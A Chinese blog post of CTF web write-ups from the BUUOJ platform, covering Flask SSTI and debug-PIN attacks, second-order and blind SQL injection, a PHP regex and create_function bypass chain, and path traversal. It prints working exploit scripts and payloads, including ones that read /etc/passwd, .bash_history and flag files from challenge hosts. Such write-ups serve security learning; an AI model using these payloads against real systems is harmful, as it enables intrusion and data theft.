BUUOJ-web刷题(一)

0x 01 [CISCN2019 华东南赛区]Double Secret

  • 考点

ssti、Flask debug pin安全问题

  • 解题过程

超过四位的字符加密会报错, 报错信息中可以看到部分源码

将要加密的东西换成%ff, 又爆出了源码

解法一:

ssti读取flag文件

利用工具CyberChef或者使用脚本加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import urllib.parse
class RC4:
def __init__(self, key):
self.key = key
self.key_length = len(key)
self._init_S_box()

def _init_S_box(self):
self.Box = [i for i in range(256)]
k = [self.key[i % self.key_length] for i in range(256)]
j = 0
for i in range(256):
j = (j + self.Box[i] + ord(k[i])) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]

def crypt(self, plaintext):
i = 0
j = 0
result = ''
for ch in plaintext:
i = (i + 1) % 256
j = (j + self.Box[i]) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
t = (self.Box[i] + self.Box[j]) % 256
result += chr(self.Box[t] ^ ord(ch))
return result

a = RC4('HereIsTreasure')
cmd = "{{ [].__class__.__base__.__subclasses__()[40]('/flag.txt').read() }}"
payload = urllib.parse.quote(a.crypt(cmd))
res = requests.get(url + payload)
print(res.text)

解法二:

Flask debug pin安全问题执行shell

参考:https://xz.aliyun.com/t/2553?tdsourcetag=s_pctim_aiomsg

  • 生成pin码必要文件:
    • username #用户名,可以查看/etc/passwd或者读取/proc/self/environ环境变量
    • modename #flask.app
    • getattr(app,’name‘,getattr(app.class,’name‘)) # Flask
    • getattr(mod,’file‘,None) #app.py的绝对路径
    • uuid.getnode() #mac地址十进制
    • get_machine_id() #docker环境下读取/proc/self/cgroup 其余依次尝试读取”/etc/machine-id”, “/proc/sys/kernel/random/boot_id”两个文件

依次需要获取6个变量,首先是用户名,我采用的办法是读取/proc/self/environ环境变量的办法,加密生成读取文件的payload:

可见username的值为glzjin

然后是modname,依然为flask.app

第三个值getattr(app, "__name__", app.__class__.__name__)依然为Flask

第四个值getattr(mod, "__file__", None)要注意,服务器上python2的安装路径和我们本地的可不太一样,这可以从报错猜测这个值应该为/usr/local/lib/python2.7/site-packages/flask/app.pyc

随后是str(uuid.getnode())的值,读取服务器的/sys/class/net/eth0/address文件,其结果为:02:42:ae:00:9e:fc,写一个脚本转换为

1
2
3
4
5
6
#!/usr/bin/env python
#-*-coding:utf8-*-
machex = "0x"+"02:42:ae:00:9e:fc".replace(':','')
print int(machex,16)
### output
2485410373372

首先尝试打开/proc/self/cgroup文件,读取第一行,并将/docker/字符串后面的内容作为该函数的返回值,如果该文件不存在或者该值不存在,才会走入师傅们文章中提到的依次尝试读取”/etc/machine-id”, “/proc/sys/kernel/random/boot_id”两个文件的流程

那么它的get_machine_id()的返回值就应该是第一行/docker/后面的那部分,即

a8832ad13feb717ec6ae4c2f4a79b79b64c63329bd5497b7ab3f1b055860e5b8

至此,所有参数获取完毕,输入payload计算pin码:

在报错页面中输入pin码,成功打开python shell,剩下就是读取flag了

参考资料:

从一道ctf题谈谈flask开启debug模式存在的安全问题

https://www.anquanke.com/post/id/197602

https://eustiar.com/archives/576

https://ch4ser-go.github.io/2019/05/27/SSTI/

0x 02 [网鼎杯 2018]Comment

  • 考点

git泄露、SQL二次注入

  • 解题过程
  1. 控制台提示存在git泄露,使用GitHack泄露代码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

然后发现可以构成二次注入,思路是这样的:

观察了一下发现是两张表 board 、comment

首先写评论的时候数据写到board 然后再次评论的时候 category这个变量会从 board
表中读取然后构成二次注入

如下图:

img

发帖后302到登录页面,爆破得知密码是zhangwei666

登录以后,进行发帖。开始构造payload

1
2
3
4
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";

这里是一个坑,就是sql语句是换行的,#进行注释只能注释当前行,所以我们这里用/**/进行拼接注释。

然后再在评论里 */#

则拼接后的sql语句就是这样

1
2
3
4
$sql = "insert into comment
set category = '123',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";

这里

1
2
/*',
content = '*/#',

被注释了,语句仍然是正常的sql语句。

看history文件

首先常规的读文件payload:123’,content=(select( load_file(‘/etc/passwd’))),/*

看到www用户的目录:

发现一个www用户,看看用户的命令记录

123',content=(select( load_file('/home/www/.bash_history'))),/*

先在/tmp目录下解压压缩包

然后删除压缩包

再将html目录复制到/var/www/目录下

切换到/var/www/html,然后删除.DS_Store

但是并没有删除/tmp/html 目录下的,所以我们可以读取此文件~~

在/tmp/html下有个.DS_Store文件,用hex编码显示

payload: ‘, content=(select hex(load_file(‘/tmp/html/.DS_Store’))),/*

解密一下

http://www.ab126.com/goju/1711.html

发现文件名flag_8946e1ff1ee3e40f.php
payload:123', content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

参考资料

https://blog.csdn.net/a3320315/article/details/104216070

https://xz.aliyun.com/t/2667#toc-1

https://www.cnblogs.com/Tkitn/p/11649255.html

0x 03 [BJDCTF2020]EzPHP

主页源代码处发现GFXEIM3YFZYGQ4A=,base32解密后得到1nD3x.php,访问得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
  • 考点一:绕过QUERY_STRING的正则匹配

由于$_SERVER['QUERY_STRING']不会进行URLDecode,而$_GET[]会,所以只要进行url编码即可绕过

  • 考点二:绕过debu的正则匹配

    可以使用%0a换行污染绕过

  • 考点三:绕过$_REQUEST的字母匹配

$_REQUEST同时接受GET和POST的数据,并且POST具有更高的优先值,因此对于需要GET的一些参数,比如zuishuai,只需要同时POST一个数字即可绕过

  • 考点4:绕过文件内容读取的比较
1
file=data:text/plain,debu_debu_aqua
  • 考点5:绕过sha1比较

    数组绕过即可

  • 考点6:create_function()代码注入

  • 考点7:获得flag

综上payload

1
2
3
4
5
6
7
POST /1nD3x.php?%64%65%62%75=%61qua%5fis%5fcut%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//

%64%65%62%75=1&file=1

url解码后:
/1nD3x.php?debu=aqua_is_cute
&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

得到回显:

取反绕过+伪协议读源码

1
2
3
4
POST /1nD3x.php?%64%65%62%75=%61qua%5fis%5fcut%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

url解码结果:
flag[code]=create_function&flag[arg]=;}require(php://filter/read=convert.base64-encode/resource=1flag.php);//

生成poc脚本

1
2
3
4
5
6
7
8
<?
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = 1 f l a g . p h p";
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")<br>";

补充:因为preg_match()只能匹配字符串,数组可以绕过

参考资料:

https://www.gem-love.com/websecurity/770.html

https://imagin.vip/?p=166

0x 04 [网鼎杯2018]Unfinish

  • 考点

SQL花式盲注、二次注入

  • 解题过程
  1. 题目存在注册界面,尝试进行二次注入
1
2
3
4
' or (case when 1=1 then sleep(3) else '2' end)='1

# 对应后台语句为
insert into users(email,username,password) values ('aa','' or (case when 1=1 then sleep(3) else '2' end)='1','bb')

存在延时,可以进行注入,编写exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#encoding=utf-8
import requests
import json
import time
database = ""
hex_database = ""

def req(payload,asc):
url = "http://c509d4bd-4e45-48b5-a41f-63ea559f3fb6.node3.buuoj.cn/register.php"
header = {
'X - Requested - With': 'XMLHttpRequest'
}
data = {
"username": payload,
"password": "1",
"email": "222@qq.com"
}
st = time.time()
r = requests.post(url, headers=header,data=data, timeout=100)
if r.status_code != 200:
return req(payload, asc)
else:
if time.time() - st > 2:
return asc
else:
return ''
i = 1
while i < 10:
for j in range(30,148):
j = chr(j)
k = j.encode('hex')
username = "'^(case hex(mid((select * from flag limit 1 offset 0) from 1 for "+str(i)+")) when '"+ hex_database+ k +"' then sleep(3) else 'b' end)+'0"
print username
if req(username,j)!='':
database = database + j # 这儿的j是字母
hex_database = hex_database + k # 这儿的k是字母对应的hex
print database
break
i = i + 1

需要注意的是长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,最多每次比较10个字符长度,最后拼接成flag

参考资料:

https://glotozz.github.io/2019/11/20/buuctf-wp-8/

https://blog.csdn.net/a3320315/article/details/104216070

https://altman.vip/2018/08/22/WDB-2/#unfinished

0x 05 [Black Watch 入群题]Web

  • 考点

    SQL注入

  • 解题过程

查询处的接口存在SQL注入,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import urllib
import sys
from time import sleep

# if correct , return empty, else return something
url = "http://8fdba9ab-ef49-4d4f-8f91-230c12ae7173.node3.buuoj.cn/backend/content_detail.php?id="
payload = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))>{1})"
# [+] -->admin,contents<--
payload = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),{0},1))>{1})"
# id,title,content,is_enable
payload = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{0},1))>{1})"
# id,username,password,is_enable
payload = "1^(ord(substr((select(group_concat(password))from(admin)),{0},1))>{1})"
# 5c15f69a,06ccfb16
payload = "1^(ord(substr((select(group_concat(username))from(admin)),{0},1))>{1})"
# e6d20586,863efe1a


def req(url_tmp):
header = {
'X - Requested - With': 'XMLHttpRequest'
}
res = requests.get(url_tmp, headers=header)
if res.status_code != 200:
return req(url_tmp)
else:
r = res.content.decode('utf8')
if "title" in r:
return 1
else:
return ''
result = ""
index = 1
tmp = 0
while True:
u_bound = 255; l_bound = 0
while u_bound >= l_bound:
m_bound = (u_bound + l_bound) // 2
payload_tmp = payload.format(index, m_bound)
url_tmp = url + urllib.parse.quote(payload_tmp)
if req(url_tmp)!='':
u_bound = m_bound - 1
tmp = m_bound
else:
l_bound = m_bound + 1
result += chr(tmp)
index += 1
print(result)

这里有个坑 ,第一个账号是无效的,第二个账号可以成功登入

参考资料:

http://p3rh4ps.top/index.php/2019/12/28/19-12-28-%e8%a7%a3%e5%86%b3buu%e9%99%90%e5%88%b6%e8%ae%bf%e9%97%ae%e9%a2%91%e7%8e%87%e9%97%ae%e9%a2%98%e7%9a%84%e7%9b%b2%e6%b3%a8%e8%84%9a%e6%9c%ac/

http://www.ch4ser.top/2019/04/22/SQL%E9%A2%98%E5%9E%8B%E8%AE%B0%E5%BD%95/

0x 06 virink_2019_files_share

  • 考点

    OpenResty、LFR、Lua - Regex

  • 解题过程

  1. 打开页面是拼魔方游戏

  1. 查看js代码无过,发包测试发现服务器是用OpenResty服务器(OpenResty是一个基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库、第三方模块以及大多数的依赖项。)

  1. 在源代码处发现存在一个uploads文件夹,访问下

  1. 里面左边preview的格式是/preview?f= 尝试文件包含漏洞,由于是使用OpenResty,尝试包含nginx的配置文件,默认是/etc/nginx/conf.d/default.conf,发现../被过滤,尝试下双写可以绕过

  1. 首页注释代码提示Hint : flag in f1ag_Is_h3re

    构造:/preview?f=....//....//....//....//....//....//....//f1ag_Is_h3re..//flag

    获得flag

0x 07 [安洵杯 2019]iamthinking

  • 考点

    tp6.0反序列化

  • 解题过程

先占坑 慢慢复现

https://xz.aliyun.com/t/6911#toc-9

https://nikoeurus.github.io/2019/11/30/2019%E5%AE%89%E8%AF%A2%E6%9D%AF-Web/#iamthinking

[https://nikoeurus.github.io/2019/12/03/ThinkPHP%206.0.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96(%E4%B8%80)/](https://nikoeurus.github.io/2019/12/03/ThinkPHP 6.0.x反序列化(一)/)